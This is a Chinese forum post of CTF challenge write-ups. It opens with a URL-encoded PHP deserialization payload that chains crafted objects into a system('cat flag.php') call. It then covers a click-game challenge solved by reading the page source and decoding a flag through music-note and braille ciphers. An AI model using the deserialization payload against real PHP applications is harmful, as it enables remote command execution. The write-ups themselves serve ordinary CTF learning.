  1. ?love=O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7D

image-20210604184544387

CTF-110

源码

  1. <meta charset="utf-8" />
  2. <h2>拼手速的时候到了,冲鸭!!!<h2/>
  3. <script>alert('点击满1000w下就可以获得flag')</script>
  4. <html>
  5. <title>手速小游戏</title>
  6. <head>
  7. <SCRIPT type="text/javascript" src="http://localhost/iuuiiuqiweuiqwueiqiuweuqwieuuniuqwehiuqwhieu"></SCRIPT>
  8. <SCRIPT type="text/javascript">
  9. var maxtime = 30 * 60; //一个小时,按秒计算,自己调整!
  10. function CountDown() {
  11. if (maxtime >= 0) {
  12. minutes = Math.floor(maxtime / 60);
  13. seconds = Math.floor(maxtime % 60);
  14. msg = "距离页面刷新还有" + minutes + "分" + seconds + "秒";
  15. document.all["timer"].innerHTML = msg;
  16. if (maxtime == 5 * 60)alert("还剩5分钟");
  17. --maxtime;
  18. } else{
  19. clearInterval(timer);
  20. location.reload();
  21. }
  22. }
  23. timer = setInterval("CountDown()", 1000);
  24. var x=0;
  25. function CS()
  26. {
  27. x+=1;
  28. div.innerText=x;
  29. if(x >= 10000000)
  30. {
  31. alert(flag);
  32. }
  33. }
  34. </SCRIPT>
  35. </head>
  36. <body>
  37. <div id="timer" style="color:red"></div>
  38. <div id="warring" style="color:red"></div>
  39. <input type="button" value="赶快点我吧!" onclick="CS()"/>
  40. <div id=div></div>
  41. </body>
  42. <script></script>
  43. </html>

这道题相对简单,只需要查看源码

可以在

  1. <script></script>

中间加上alert(flag);
就可以弹出flag

也可以直接访问iuuiiuqiweuiqwueiqiuweuqwieuuniuqwehiuqwhieu即可获得flag

  1. /iuuiiuqiweuiqwueiqiuweuqwieuuniuqwehiuqwhieu

CTF-111

flag做了双重加密

音符加密->盲文加密
按顺序解密即可
音符解密:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue
盲文解密:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen

用户名金币积分时间理由
牛宝宝 4.00 0 2022-04-02 15:03:04 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

audacity_3.1.2_64bit.rar   文件大小:32.584M (下载次数:5)

0 条回复   |  直到 2021-12-29 | 6190 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.